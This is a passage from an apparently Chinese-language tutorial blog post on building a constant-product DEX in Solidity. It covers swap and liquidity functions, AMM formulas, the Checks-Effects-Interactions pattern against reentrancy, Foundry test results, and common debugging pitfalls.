<code>forge build</code> → <code>forge test</code> → <code>yarn deploy --reset</code> → 刷前端,<strong>5 步缺一不可</strong>。</p><hr><h2 id="🔄-Checkpoint-4-交易-swap"><a href="#🔄-Checkpoint-4-交易-swap" class="headerlink" title="🔄 Checkpoint 4: 交易 (swap)"></a>🔄 Checkpoint 4: 交易 (swap)</h2><h3 id="目标-2"><a href="#目标-2" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>ethToToken()</code>(ETH → token)和 <code>tokenToEth()</code>(token → ETH)。</p><h3 id="1-完整实现-1"><a href="#1-完整实现-1" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">function ethToToken() public payable returns (uint256 tokenOutput) {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 xReserves = address(this).balance - msg.value;</span><br><span class="line"> uint256 yReserves = token.balanceOf(address(this));</span><br><span class="line"> tokenOutput = price(msg.value, xReserves, yReserves);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenOutput)) revert TokenTransferFailed();</span><br><span class="line"> emit EthToTokenSwap(msg.sender, msg.value, tokenOutput);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function tokenToEth(uint256 tokenInput) public returns (uint256 ethOutput) {</span><br><span class="line"> if (tokenInput == 0) revert InvalidTokenAmount();</span><br><span class="line"> uint256 xReserves = token.balanceOf(address(this));</span><br><span class="line"> uint256 yReserves = address(this).balance;</span><br><span class="line"> ethOutput = price(tokenInput, xReserves, yReserves);</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokenInput)) revert TokenTransferFailed();</span><br><span class="line"> payable(msg.sender).transfer(ethOutput);</span><br><span class="line"> emit TokenToEthSwap(msg.sender, tokenInput, ethOutput);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-关键知识点"><a href="#2-关键知识点" class="headerlink" title="2. 关键知识点"></a>2. 关键知识点</h3><h4 id="知识点-①:Solidity-收-ETH-的”快照陷阱”"><a href="#知识点-①:Solidity-收-ETH-的”快照陷阱”" class="headerlink" title="知识点 ①:Solidity 收 ETH 的”快照陷阱”"></a>知识点 ①:Solidity 收 ETH 的”快照陷阱”</h4><p><strong>事实</strong>:当 <code>payable</code> 函数开始执行时,<code>msg.value</code> <strong>已经加到了</strong> <code>address(this).balance</code>。</p><p><strong>陷阱</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">function ethToToken() public payable returns (uint256 tokenOutput) {</span><br><span class="line"> // ❌ 错!这样读到的是"包含 msg.value" 的余额</span><br><span class="line"> uint256 xReserves = address(this).balance;</span><br><span class="line"></span><br><span class="line"> // ✅ 对!减掉 msg.value 才是"调用前"的旧余额</span><br><span class="line"> uint256 xReserves = address(this).balance - msg.value;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么这样写</strong>:price() 的数学用的是”swap 之前池子里有多少”。msg.value 是 swap 的一部分,不应该算进旧储备。</p><table><thead><tr><th>函数</th><th>要不要减 msg.value</th></tr></thead><tbody><tr><td><code>ethToToken</code> (payable)</td><td>✅ 要减</td></tr><tr><td><code>tokenToEth</code> (nonpayable)</td><td>❌ 不用减(没新 ETH 进来)</td></tr><tr><td><code>deposit</code> (payable)</td><td>✅ 要减</td></tr><tr><td><code>withdraw</code> (nonpayable)</td><td>❌ 不用减</td></tr></tbody></table><h4 id="知识点-②:Push-vs-Pull-模式"><a href="#知识点-②:Push-vs-Pull-模式" class="headerlink" title="知识点 ②:Push vs Pull 模式"></a>知识点 ②:Push vs Pull 模式</h4><table><thead><tr><th>方向</th><th>函数</th><th>场景</th></tr></thead><tbody><tr><td><strong>合约 → 用户</strong></td><td><code>token.transfer(to, amount)</code></td><td>合约主动 push(不需要 approve)</td></tr><tr><td><strong>用户 → 合约</strong></td><td><code>token.transferFrom(from, to, amount)</code></td><td>合约主动 pull(<strong>需要先 approve</strong>)</td></tr></tbody></table><table><thead><tr><th>swap 方向</th><th>用的函数</th></tr></thead><tbody><tr><td><code>ethToToken</code>(ETH → token)</td><td><code>token.transfer</code> (push token 给用户)</td></tr><tr><td><code>tokenToEth</code>(token → ETH)</td><td><code>token.transferFrom</code> (pull token 进来) + <code>payable(msg.sender).transfer</code> (push ETH 给用户)</td></tr></tbody></table><h4 id="知识点-③:payable-msg-sender-transfer-转-ETH"><a href="#知识点-③:payable-msg-sender-transfer-转-ETH" class="headerlink" title="知识点 ③:payable(msg.sender).transfer() 转 ETH"></a>知识点 ③:<code>payable(msg.sender).transfer()</code> 转 ETH</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payable(msg.sender).transfer(ethOutput);</span><br></pre></td></tr></table></figure></div><ul><li><code>payable(...)</code> 强转:<code>msg.sender</code> 是 <code>address</code> 类型,<strong>Solidity 类型系统要求</strong> <code>payable address</code> 才能付 ETH</li><li><code>.transfer()</code>:失败自动 revert,固定 2300 gas;它不能替代完整的反重入设计,本关真正依赖的安全顺序仍是 CEI</li></ul><h4 id="知识点-④:CEI-模式(Checks-→-Effects-→-Interactions)"><a href="#知识点-④:CEI-模式(Checks-→-Effects-→-Interactions)" class="headerlink" title="知识点 ④:CEI 模式(Checks → Effects → Interactions)"></a>知识点 ④:CEI 模式(Checks → Effects → Interactions)</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">function tokenToEth(uint256 tokenInput) public returns (uint256 ethOutput) {</span><br><span class="line"> // ① Checks</span><br><span class="line"> if (tokenInput == 0) revert InvalidTokenAmount();</span><br><span class="line"></span><br><span class="line"> // ② 先基于调用前快照完成输出计算</span><br><span class="line"> uint256 xReserves = token.balanceOf(address(this));</span><br><span class="line"> uint256 yReserves = address(this).balance;</span><br><span class="line"> ethOutput = price(tokenInput, xReserves, yReserves);</span><br><span class="line"></span><br><span class="line"> // ③ Interactions</span><br><span class="line"> token.transferFrom(msg.sender, address(this), tokenInput);</span><br><span class="line"> payable(msg.sender).transfer(ethOutput);</span><br><span class="line"> emit TokenToEthSwap(msg.sender, tokenInput, ethOutput);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>核心原则</strong>:<strong>所有算账用”调用前”的状态</strong>。如果先转账再算,balanceOf 已经变了,算的 ethOutput 是按”已经被改变的池子”算的——<strong>对用户不利</strong>。</p><h4 id="知识点-⑤:Events-是什么"><a href="#知识点-⑤:Events-是什么" class="headerlink" title="知识点 ⑤:Events 是什么"></a>知识点 ⑤:Events 是什么</h4><p><code>emit</code> 是合约主动发到链上的”日志”——<strong>不影响状态、不消耗太多 gas</strong>。DeFi 生态的”神经系统”:前端 / The Graph / Dune Analytics 靠它知道发生了什么。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">event EthToTokenSwap(address swapper, uint256 ethInput, uint256 tokenOutput);</span><br></pre></td></tr></table></figure></div><p>事件签名必须<strong>严格匹配 IDEX 接口</strong>(包括 <code>indexed</code> 关键字的位置)——否则 ABI 对不上,前端查不到事件。</p><h3 id="3-完整-swap-生命周期时序图"><a href="#3-完整-swap-生命周期时序图" class="headerlink" title="3. 完整 swap 生命周期时序图"></a>3. 完整 swap 生命周期时序图</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">用户 DEX 合约 Balloons 合约</span><br><span class="line"> │ │ │</span><br><span class="line"> │ (1) approve(dex, 1e18) │ │</span><br><span class="line"> ├─────────────────────────────→├─────────────────────────────→│</span><br><span class="line"> │ │ │ 记录 allowance</span><br><span class="line"> │ (2) tokenToEth(1e18) │ │</span><br><span class="line"> │ msg.value = 0 │ │</span><br><span class="line"> ├─────────────────────────────→│ │</span><br><span class="line"> │ │ (3) snapshot │</span><br><span class="line"> │ │ xReserves = token.balance │</span><br><span class="line"> │ │ yReserves = ETH.balance │</span><br><span class="line"> │ │ (4) 计算 ethOutput │</span><br><span class="line"> │ │ (5) transferFrom(user, dex) │</span><br><span class="line"> │ ├─────────────────────────────→│</span><br><span class="line"> │ │ (6) payable(user).transfer │</span><br><span class="line"> │ │ (7) emit TokenToEthSwap │</span><br><span class="line"> │ (8) 收到 ETH │ │</span><br><span class="line"> │←─────────────────────────────┤ │</span><br></pre></td></tr></table></figure></div><h3 id="4-UI-实测:swap-后的状态"><a href="#4-UI-实测:swap-后的状态" class="headerlink" title="4. UI 实测:swap 后的状态"></a>4. UI 实测:swap 后的状态</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-06-dex-after-swap.png" alt="swap 后的 DEX 状态" ><figcaption>swap 后的 DEX 状态</figcaption></figure></p><hr><h2 id="🏦-Checkpoint-5-加撤流动性"><a href="#🏦-Checkpoint-5-加撤流动性" class="headerlink" title="🏦 Checkpoint 5: 加撤流动性"></a>🏦 Checkpoint 5: 加撤流动性</h2><h3 id="目标-3"><a href="#目标-3" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>deposit()</code>(按比例加流动性)和 <code>withdraw()</code>(按比例撤流动性)。</p><h3 id="1-完整实现-2"><a href="#1-完整实现-2" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">function deposit() public payable returns (uint256 tokensDeposited) {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 ethReserve = address(this).balance - msg.value;</span><br><span class="line"> uint256 tokenReserve = token.balanceOf(address(this));</span><br><span class="line"> uint256 liquidityMinted = msg.value * totalLiquidity / ethReserve;</span><br><span class="line"> tokensDeposited = msg.value * tokenReserve / ethReserve;</span><br><span class="line"> liquidity[msg.sender] += liquidityMinted;</span><br><span class="line"> totalLiquidity += liquidityMinted;</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokensDeposited)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityProvided(msg.sender, liquidityMinted, msg.value, tokensDeposited);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function withdraw(uint256 amount) public returns (uint256 ethAmount, uint256 tokenAmount) {</span><br><span class="line"> if (liquidity[msg.sender] < amount) revert InsufficientLiquidity(liquidity[msg.sender], amount);</span><br><span class="line"> uint256 ethReserve = address(this).balance;</span><br><span class="line"> uint256 tokenReserve = token.balanceOf(address(this));</span><br><span class="line"> ethAmount = amount * ethReserve / totalLiquidity;</span><br><span class="line"> tokenAmount = amount * tokenReserve / totalLiquidity;</span><br><span class="line"> liquidity[msg.sender] -= amount;</span><br><span class="line"> totalLiquidity -= amount;</span><br><span class="line"> payable(msg.sender).transfer(ethAmount);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenAmount)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityRemoved(msg.sender, amount, ethAmount, tokenAmount);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-核心数学:LP-凭证-池子股份"><a href="#2-核心数学:LP-凭证-池子股份" class="headerlink" title="2. 核心数学:LP 凭证 = 池子股份"></a>2. 核心数学:LP 凭证 = 池子股份</h3><h4 id="池子-股份公司"><a href="#池子-股份公司" class="headerlink" title="池子 = 股份公司"></a>池子 = 股份公司</h4><table><thead><tr><th>概念</th><th>现实类比</th><th>区块链版本</th></tr></thead><tbody><tr><td>公司</td><td>池子(DEX 合约)</td><td>池子(DEX 合约)</td></tr><tr><td>股份</td><td>LP 凭证</td><td><code>liquidity[user]</code></td></tr><tr><td>总股本</td><td>总股份</td><td><code>totalLiquidity</code></td></tr><tr><td>资产</td><td>公司的钱</td><td>池子里的 ETH + token</td></tr><tr><td>你的份额</td><td>你的股份 / 总股本</td><td><code>liquidity[user] / totalLiquidity</code></td></tr></tbody></table><h4 id="加流动性-买股份"><a href="#加流动性-买股份" class="headerlink" title="加流动性 = 买股份"></a>加流动性 = 买股份</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">投 Δx ETH 进去</span><br><span class="line">池子要"等比"配 token(维持当前 ETH:token 比例)</span><br><span class="line">你拿到 LP 凭证 = 你的池子"股份"</span><br></pre></td></tr></table></figure></div><p><strong>关键公式</strong>:</p><table><thead><tr><th>算什么</th><th>公式</th></tr></thead><tbody><tr><td>我投的 ETH 占池子比例</td><td><code>msg.value / ethReserve</code></td></tr><tr><td>我要同步投的 token</td><td><code>msg.value × tokenReserve / ethReserve</code></td></tr><tr><td>我拿到的 LP 凭证</td><td><code>msg.value × totalLiquidity / ethReserve</code></td></tr></tbody></table><p><strong>手算示例</strong>(池子 5 ETH + 5 token,user2 投 5 ETH):</p><table><thead><tr><th>变量</th><th>公式</th><th>结果</th></tr></thead><tbody><tr><td><code>liquidityMinted</code></td><td><code>5 × 5 / 5</code></td><td><strong>5 LP</strong></td></tr><tr><td><code>tokensDeposited</code></td><td><code>5 × 5 / 5</code></td><td><strong>5 token</strong></td></tr></tbody></table><h4 id="撤流动性-卖股份"><a href="#撤流动性-卖股份" class="headerlink" title="撤流动性 = 卖股份"></a>撤流动性 = 卖股份</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">我烧 amount LP</span><br><span class="line">池子按"我的股份比例" 给我 ETH + token</span><br></pre></td></tr></table></figure></div><p><strong>关键公式</strong>:</p><table><thead><tr><th>算什么</th><th>公式</th></tr></thead><tbody><tr><td>我占池子比例</td><td><code>amount / totalLiquidity</code></td></tr><tr><td>我能拿回的 ETH</td><td><code>amount × ethReserve / totalLiquidity</code></td></tr><tr><td>我能拿回的 token</td><td><code>amount × tokenReserve / totalLiquidity</code></td></tr></tbody></table><h3 id="3-跟-init-的关键区别"><a href="#3-跟-init-的关键区别" class="headerlink" title="3. 跟 init() 的关键区别"></a>3. 跟 init() 的关键区别</h3><table><thead><tr><th>维度</th><th><code>init</code></th><th><code>deposit</code></th></tr></thead><tbody><tr><td>谁用</td><td><strong>第一个</strong> LP</td><td><strong>第二个及以后</strong></td></tr><tr><td>LP 怎么算</td><td><code>totalLiquidity = address(this).balance</code></td><td><code>msg.value × totalLiquidity / ethReserve</code></td></tr><tr><td>要投多少 token</td><td>用户自己定(必须 1:1 锚定)</td><td>按比例自动算</td></tr><tr><td>为什么不同</td><td>没有”已有比例”可参考</td><td>按当前池子比例自动配平</td></tr></tbody></table><p><strong>形象比喻</strong>:</p><ul><li><code>init</code> = 创业合伙人”出 100 万,给我 50% 股份”</li><li><code>deposit</code> = 投资人”我要买 30% 股份,需要多少钱?按当前估值”</li></ul><h3 id="4-Withdraw-为什么要先-Effects-再-Interactions?"><a href="#4-Withdraw-为什么要先-Effects-再-Interactions?" class="headerlink" title="4. Withdraw 为什么要先 Effects 再 Interactions?"></a>4. Withdraw 为什么要先 Effects 再 Interactions?</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">function withdraw(uint256 amount) public returns (uint256 ethAmount, uint256 tokenAmount) {</span><br><span class="line"> if (liquidity[msg.sender] < amount) revert InsufficientLiquidity(liquidity[msg.sender], amount);</span><br><span class="line"></span><br><span class="line"> // ② Effects 先:state 变量先改</span><br><span class="line"> liquidity[msg.sender] -= amount; // ← 先减</span><br><span class="line"> totalLiquidity -= amount; // ← 先减</span><br><span class="line"></span><br><span class="line"> // ③ Interactions 后:再付钱</span><br><span class="line"> payable(msg.sender).transfer(ethAmount);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenAmount)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityRemoved(msg.sender, amount, ethAmount, tokenAmount);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么这样?</strong> 如果先转 ETH 再改 state,<strong>用户合约的 fallback 可以重入 withdraw</strong>——重入时 <code>liquidity[msg.sender]</code> 还是旧的(没减),攻击者可以再撤一次,最终亏空整个池子。</p><p>CEI 模式让重入时看到的是”已经减过”的 state,<strong>重入也无利可图</strong>。</p><h3 id="5-UI-实测:完整往返"><a href="#5-UI-实测:完整往返" class="headerlink" title="5. UI 实测:完整往返"></a>5. UI 实测:完整往返</h3><h4 id="Deposit-后"><a href="#Deposit-后" class="headerlink" title="Deposit 后"></a>Deposit 后</h4><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-08-after-deposit.png" alt="deposit 后的状态" ><figcaption>deposit 后的状态</figcaption></figure></p><ul><li>DEX ETH 余额:1.0000 → <strong>1.5000 ETH</strong></li><li><code>totalLiquidity</code>:1e18 → <strong>1.5e18</strong></li><li><code>getLiquidity(我的地址)</code>:1e18 → <strong>1.5e18</strong></li><li>我的 Balloons:999 → <strong>998.5</strong>(被自动扣了 0.5 token 配对)</li></ul><p><strong>对账</strong>:投 0.5 ETH,池子原 1 ETH + 1 token,我占 50%,所以<strong>复制一半池子</strong> → 0.5 ETH + 0.5 token,拿 50% 的 LP(从 1 增到 1.5)。</p><h4 id="Withdraw-后"><a href="#Withdraw-后" class="headerlink" title="Withdraw 后"></a>Withdraw 后</h4><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-09-after-withdraw.png" alt="withdraw 后的状态" ><figcaption>withdraw 后的状态</figcaption></figure></p><ul><li>我的 Balloons 余额:998.5 → <strong>1000</strong>(拿回 1.5 token)</li><li>DEX ETH 余额:1.5 → <strong>0</strong>(拿回 1.5 ETH)</li><li><code>totalLiquidity</code>:1.5e18 → <strong>0</strong>(全部 LP 烧掉)</li><li>我的 ETH:9999.5 → <strong>10001</strong>(多了 1.5 ETH)</li></ul><p><strong>完美对账</strong>:净投入 0,净收益 0。LP 凭证是”按比例分池子资产”的凭证,<strong>烧掉就等于从池子退出</strong>。</p><hr><h2 id="📊-测试结果"><a href="#📊-测试结果" class="headerlink" title="📊 测试结果"></a>📊 测试结果</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ forge <span class="built_in">test</span> --match-test Checkpoint -vv</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[PASS] test_Checkpoint2_GetLiquidityReturnsLPBalance() (gas: 180124)</span><br><span class="line">[PASS] test_Checkpoint2_InitRevertsOnSecondCall() (gas: 132464)</span><br><span class="line">[PASS] test_Checkpoint2_TotalLiquidityStartsAtZeroAndInitSetsIt (gas: 124822)</span><br><span class="line">[PASS] test_Checkpoint3_PriceCalculationWithFee() (gas: 7542)</span><br><span class="line">[PASS] test_Checkpoint4_EthToTokenEmitsAndTransfers() (gas: 204130)</span><br><span class="line">[PASS] test_Checkpoint4_EthToTokenRevertsOnZeroEth() (gas: 180560)</span><br><span class="line">[PASS] test_Checkpoint4_TokenToEthEmitsAndTransfers() (gas: 184193)</span><br><span class="line">[PASS] test_Checkpoint4_TokenToEthRevertsOnZeroTokens() (gas: 180604)</span><br><span class="line">[PASS] test_Checkpoint5_DepositIncreasesLiquidityAndEmits() (gas: 252177)</span><br><span class="line">[PASS] test_Checkpoint5_DepositRevertsOnZeroEth() (gas: 180514)</span><br><span class="line">[PASS] test_Checkpoint5_WithdrawEmitsAndDecreasesLiquidity() (gas: 201812)</span><br><span class="line">[PASS] test_Checkpoint5_WithdrawRevertsIfNoLiquidity() (gas: 183690)</span><br><span class="line"></span><br><span class="line">Suite result: ok. 12 passed; 0 failed; 0 skipped</span><br></pre></td></tr></table></figure></div><hr><h2 id="🐛-关键踩坑清单"><a href="#🐛-关键踩坑清单" class="headerlink" title="🐛 关键踩坑清单"></a>🐛 关键踩坑清单</h2><h3 id="1-0xfb8f41b2-not-found-on-ABI(OOPs-错误)"><a href="#1-0xfb8f41b2-not-found-on-ABI(OOPs-错误)" class="headerlink" title="1. 0xfb8f41b2 not found on ABI(OOPs 错误)"></a>1. <code>0xfb8f41b2 not found on ABI</code>(OOPs 错误)</h3><p><strong>表象</strong>:Debug 调 <code>init</code> 失败,前端报 <code>0xfb8f41b2 not found on ABI</code><br><strong>真相</strong>:OpenZeppelin v5 标准错误 <code>ERC20InsufficientAllowance</code>(来自 Balloons 合约)<br><strong>原因</strong>:没给 Balloons 授权 DEX<br><strong>修法</strong>:先 <code>balloons.approve(dex, 1e18)</code>,再调 <code>init</code><br><strong>诊断命令</strong>:<code>cast sig "ERC20InsufficientAllowance(address,uint256,uint256)"</code> → <code>0xfb8f41b2</code></p><h3 id="2-price-Debug-返回-0"><a href="#2-price-Debug-返回-0" class="headerlink" title="2. price() Debug 返回 0"></a>2. <code>price()</code> Debug 返回 0</h3><p><strong>表象</strong>:Debug 调 <code>price(1e18, 5e18, 5e18)</code> 返回 0<br><strong>真相</strong>:链上合约是<strong>旧版本</strong>(<code>price</code> 函数体是空注释)<br><strong>原因</strong>:改完合约没重新部署<br><strong>修法</strong>:<code>yarn deploy --reset</code> + 刷前端<br><strong>教训</strong>:<code>forge test</code> 跑的是新代码,前端连的是链上旧合约——<strong>两个东西完全不同</strong></p><h3 id="3-if-token-transferFrom-是死代码"><a href="#3-if-token-transferFrom-是死代码" class="headerlink" title="3. if (!token.transferFrom(...)) 是死代码"></a>3. <code>if (!token.transferFrom(...))</code> 是死代码</h3><p><strong>表象</strong>:写了 revert 但永远走不到<br><strong>真相</strong>:OpenZeppelin v5 的 <code>transferFrom</code> 不会返回 false,失败直接 revert<br><strong>修法</strong>:本关实现保留返回值检查;生产代码统一使用 <code>SafeERC20.safeTransferFrom</code></p><h3 id="4-ethToToken-没减-msg-value"><a href="#4-ethToToken-没减-msg-value" class="headerlink" title="4. ethToToken 没减 msg.value"></a>4. <code>ethToToken</code> 没减 <code>msg.value</code></h3><p><strong>表象</strong>:直接写 <code>address(this).balance</code> 作为 xReserves<br><strong>后果</strong>:price 算错(用”包含 msg.value”的旧储备算 swap)<br><strong>真相</strong>:payable 函数一进来 msg.value 已经在 balance 里<br><strong>修法</strong>:用 <code>address(this).balance - msg.value</code></p><h3 id="5-withdraw-没先改-state-就转钱"><a href="#5-withdraw-没先改-state-就转钱" class="headerlink" title="5. withdraw 没先改 state 就转钱"></a>5. <code>withdraw</code> 没先改 state 就转钱</h3><p><strong>表象</strong>:打开重入攻击面<br><strong>修法</strong>:CEI 模式 —— Checks → Effects → Interactions</p><h3 id="6-整数除法精度损失"><a href="#6-整数除法精度损失" class="headerlink" title="6. 整数除法精度损失"></a>6. 整数除法精度损失</h3><p><strong>表象</strong>:<code>5e18 * 3 / 7e18</code> 应该是 2.14…,Solidity 算出来是 2(向下取整)<br><strong>后果</strong>:用户<strong>少拿</strong> 0.000… 个 wei 的 LP<br><strong>真相</strong>:Solidity 整数除法<strong>永远向下取整</strong><br><strong>修法</strong>:无解——这是 EVM 设计,Uniswap V2 也这样<br><strong>影响</strong>:剩余的 wei 留在池子里归现有 LP 按比例分(隐式捐赠)</p><hr><h2 id="🎯-关键学习总结"><a href="#🎯-关键学习总结" class="headerlink" title="🎯 关键学习总结"></a>🎯 关键学习总结</h2><h3 id="Solidity-基础"><a href="#Solidity-基础" class="headerlink" title="Solidity 基础"></a>Solidity 基础</h3><table><thead><tr><th>概念</th><th>一句话</th></tr></thead><tbody><tr><td><code>immutable</code></td><td>部署时确定的常量,存合约引用</td></tr><tr><td><code>payable</code></td><td>函数能收 ETH</td></tr><tr><td><code>msg.value</code></td><td>当前调用附带的 ETH(<strong>已经在 balance 里了</strong>)</td></tr><tr><td><code>address(this).balance</code></td><td>合约历史累计的 ETH 余额</td></tr><tr><td><code>pure</code> vs <code>view</code></td><td>pure 不读 storage,view 读但不写</td></tr></tbody></table><h3 id="ERC20"><a href="#ERC20" class="headerlink" title="ERC20"></a>ERC20</h3><table><thead><tr><th>概念</th><th>一句话</th></tr></thead><tbody><tr><td><strong>账本模型</strong></td><td>合约是数据库,不是装币的容器</td></tr><tr><td><strong>approve</strong></td><td>用户授权别人能拉我多少钱(不改余额)</td></tr><tr><td><strong>transferFrom</strong></td><td>别人用 allowance 把我的钱拉走</td></tr><tr><td><strong>OZ v5 行为</strong></td><td>失败直接 revert(不返回 false)</td></tr></tbody></table><h3 id="AMM-数学"><a href="#AMM-数学" class="headerlink" title="AMM 数学"></a>AMM 数学</h3><table><thead><tr><th>公式</th><th>含义</th></tr></thead><tbody><tr><td><code>x · y = k</code></td><td>恒定乘积</td></tr><tr><td><code>yOutput = y × Δx × 997 / (x × 1000 + Δx × 997)</code></td><td>带手续费的 swap 输出</td></tr><tr><td><code>liquidityMinted = Δx × totalLP / ethReserve</code></td><td>加流动性发多少 LP</td></tr><tr><td><code>ethWithdrawn = amount × ethReserve / totalLP</code></td><td>撤流动性拿回多少 ETH</td></tr></tbody></table><h3 id="DeFi-模式"><a href="#DeFi-模式" class="headerlink" title="DeFi 模式"></a>DeFi 模式</h3><table><thead><tr><th>模式</th><th>一句话</th></tr></thead><tbody><tr><td><strong>CEI</strong></td><td>Checks → Effects → Interactions(防重入)</td></tr><tr><td><strong>Push</strong></td><td>合约主动给用户钱(transfer)</td></tr><tr><td><strong>Pull</strong></td><td>合约主动拉用户钱(transferFrom + 需 approve)</td></tr><tr><td><strong>Snapshot</strong></td><td>用”调用前”的状态算账(避免被自己改的状态坑)</td></tr></tbody></table><h3 id="工程实践"><a href="#工程实践" class="headerlink" title="工程实践"></a>工程实践</h3><table><thead><tr><th>习惯</th><th>原因</th></tr></thead><tbody><tr><td>改完合约必跑 <code>forge build</code></td><td>验证语法</td></tr><tr><td>然后 <code>forge test</code></td><td>验证逻辑</td></tr><tr><td>然后 <code>yarn deploy --reset</code></td><td>让链上字节码更新</td></tr><tr><td>最后刷前端</td><td>让前端 ABI 重新加载</td></tr></tbody></table><h3 id="Debug-实战"><a href="#Debug-实战" class="headerlink" title="Debug 实战"></a>Debug 实战</h3><table><thead><tr><th>技巧</th><th>用途</th></tr></thead><tbody><tr><td><code>cast sig "ErrorName(types)"</code></td><td>把错误名转成 4 字节选择器</td></tr><tr><td><code>forge test -vvv</code></td><td>看每次 swap 的事件、gas、状态</td></tr><tr><td>前端 ABI 找不到错误</td><td>怀疑<strong>子调用</strong>(不是入口合约)</td></tr><tr><td>价格返回 0 / 旧值</td><td>链上合约是<strong>旧版本</strong>——重部署</td></tr></tbody></table><hr><h2 id="📚-延伸阅读"><a href="#📚-延伸阅读" class="headerlink" title="📚 延伸阅读"></a>📚 延伸阅读</h2><ul><li><a class="link" href="https://uniswap.org/whitepaper.pdf" >Uniswap V2 白皮书<i class="fa-solid fa-arrow-up-right 